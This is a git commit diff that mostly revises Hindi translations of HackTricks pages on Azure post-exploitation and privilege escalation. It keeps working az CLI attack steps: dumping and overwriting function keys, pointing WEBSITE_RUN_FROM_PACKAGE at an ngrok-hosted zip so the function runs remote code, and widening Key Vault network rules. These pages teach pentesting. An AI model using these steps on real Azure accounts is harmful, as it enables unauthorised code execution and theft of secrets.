mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-08-01 00:20:44 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -4,10 +4,10 @@
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी स्टोरेज और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
|
||||
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
|
||||
|
||||
* **Persistent Storage**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है।
|
||||
* **Startup Scripts**: .bashrc जैसे फ़ाइलें प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
|
||||
* **Startup Scripts**: फ़ाइलें जैसे .bashrc प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
```bash
|
||||
|
||||
+2
-2
@@ -79,7 +79,7 @@ az cosmosdb sql trigger create \
|
||||
--operation All
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड जावास्क्रिप्ट फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं।
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड JavaScript फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं।
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
@@ -90,7 +90,7 @@ az cosmosdb sql stored-procedure create \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको सम्मिलन, अद्यतन, या हटाने जैसी क्रियाओं के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको इनसर्ट, अपडेट या डिलीट जैसी ऑपरेशनों के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ File Share Post Exploitation
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
|
||||
|
||||
इस अनुमति के साथ एक प्रिंसिपल **सूची** बना सकेगा फाइल शेयर के अंदर की फाइलों की और **डाउनलोड** कर सकेगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं।
|
||||
इस अनुमति के साथ एक प्रिंसिपल **सूचीबद्ध** करने में सक्षम होगा फाइल शेयर के अंदर फाइलों को और **डाउनलोड** करने में सक्षम होगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं।
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
|
||||
+3
-3
@@ -19,7 +19,7 @@ az logic workflow identity remove/assign \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
|
||||
इन अनुमतियों के साथ, आप एक App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
|
||||
इन अनुमतियों के साथ, आप App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -66,7 +66,7 @@ az logic integration-account batch-configuration create \
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
|
||||
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जो विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण को सक्षम बनाता है।
|
||||
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जिससे विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण संभव होता है।
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -77,7 +77,7 @@ az logic integration-account map create \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
|
||||
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
|
||||
इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
|
||||
+6
-6
@@ -1,9 +1,9 @@
|
||||
# Az - MySQL Post Exploitation
|
||||
# Az - MySQL पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## MySQL Database Post Exploitation
|
||||
MySQL Database के बारे में अधिक जानकारी के लिए देखें:
|
||||
## MySQL डेटाबेस पोस्ट एक्सप्लॉइटेशन
|
||||
MySQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-mysql.md
|
||||
@@ -11,7 +11,7 @@ MySQL Database के बारे में अधिक जानकारी
|
||||
|
||||
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
|
||||
इस अनुमति के साथ, आप Azure पर MySQL फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
@@ -20,7 +20,7 @@ az mysql flexible-server db create \
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को ऑन-डिमांड बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को मांग पर बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
@@ -67,7 +67,7 @@ az mysql flexible-server reset-gtid \
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर के पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
|
||||
+3
-3
@@ -1,8 +1,8 @@
|
||||
# Az - PostgreSQL पोस्ट एक्सप्लोइटेशन
|
||||
# Az - PostgreSQL पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PostgreSQL डेटाबेस पोस्ट एक्सप्लोइटेशन
|
||||
## PostgreSQL डेटाबेस पोस्ट एक्सप्लॉइटेशन
|
||||
PostgreSQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
@@ -68,7 +68,7 @@ az postgres flexible-server parameter set \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकता है।
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा बाधित हो सकती है, जो डेटाबेस पर निर्भर एप्लिकेशन और उपयोगकर्ताओं को प्रभावित कर सकती है।
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
|
||||
@@ -44,7 +44,7 @@ az cosmosdb sql role assignment create \
|
||||
--scope "/"
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते के लिए प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
|
||||
इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
|
||||
+17
-17
@@ -12,13 +12,13 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-परिभाषित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
|
||||
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
|
||||
|
||||
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
|
||||
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाने कोड को लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
|
||||
|
||||
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
|
||||
```bash
|
||||
@@ -47,9 +47,9 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
यह सामान्य है कि **zip रिलीज़** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो स्टोरेज अकाउंट कंटेनर में है जिसका फ़ंक्शन ऐप उपयोग कर रहा है, **जो आमतौर पर `function-releases` कहा जाता है**।
|
||||
यह सामान्य है कि **zip releases** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो Storage Account कंटेनर में है जिसका उपयोग फ़ंक्शन ऐप कर रहा है, **जो आमतौर पर `function-releases`** कहलाता है।
|
||||
|
||||
आमतौर पर, यह डिप्लॉयमेंट विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी:
|
||||
आमतौर पर, यह तैनाती विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
@@ -58,7 +58,7 @@ az functionapp config appsettings list \
|
||||
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्शन में मनमाने कोड को निष्पादित करना और विशेषाधिकारों को बढ़ाना संभव है।
|
||||
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
|
||||
|
||||
> [!CAUTION]
|
||||
> यदि **ज़िप एक्सटेंशन फ़ाइल** (जो वास्तव में एक **`squashfs`** है) में कोड को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप एक्सटेंशन फ़ाइल** में रखता है (जो वास्तव में एक **`squashfs`** है), तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,7 +118,7 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
यह अनुमति निर्दिष्ट कार्य के कार्य, मास्टर और सिस्टम कुंजी को सूचीबद्ध करने की अनुमति देती है, लेकिन मेज़बान कुंजी नहीं।
|
||||
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं।
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
@@ -162,7 +162,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
|
||||
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए अनुसार संशोधित कर सकते हैं!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
@@ -183,9 +183,9 @@ az rest --method POST \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
|
||||
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
|
||||
|
||||
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
|
||||
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने के लिए नया कोड हो:
|
||||
|
||||
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
|
||||
```bash
|
||||
@@ -203,9 +203,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** के URL की ओर इशारा करता है।
|
||||
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
|
||||
|
||||
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यही वह जगह है जहाँ मैं ऐप को होस्ट कर रहा था।
|
||||
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था।
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -307,9 +307,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
|
||||
इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन** प्राप्त करें](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
|
||||
|
||||
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह निष्क्रिय या अब काम नहीं कर रहा हो सकता है, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
|
||||
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह संभव है कि यह अक्षम हो या अब काम न कर रहा हो, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +321,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकती हैं (या उन्हें अक्षम कर सकती हैं)।
|
||||
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है)।
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -352,7 +352,7 @@ az functionapp identity assign \
|
||||
```
|
||||
### Remote Debugging
|
||||
|
||||
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
|
||||
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को [**दस्तावेज़ों में समझाया गया**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) के रूप में डिबग करने के लिए कनेक्ट किया जाए। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
|
||||
|
||||
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
|
||||
```bash
|
||||
@@ -365,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
|
||||
### Change Github repo
|
||||
|
||||
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
|
||||
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है।
|
||||
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता।
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
@@ -29,4 +29,14 @@ az keyvault set-policy \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
### Modify Network Restrictions
|
||||
|
||||
यह संभव है कि आपके पास संवेदनशील डेटा (जैसे एक रहस्य का मान) तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों, लेकिन आप इसे एक्सेस नहीं कर पा रहे हैं क्योंकि की वॉल्ट एक विशिष्ट नेटवर्क तक सीमित है। यदि आपके पास नेटवर्क प्रतिबंधों को संशोधित करने की अनुमति है, तो आप अपनी IP को अनुमत IPs की सूची में जोड़ सकते हैं।
|
||||
```bash
|
||||
# Get the current network restrictions
|
||||
az keyvault network-rule list --name <vault-name>
|
||||
|
||||
# Add your IP to the list
|
||||
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -33,7 +33,7 @@ az rest \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
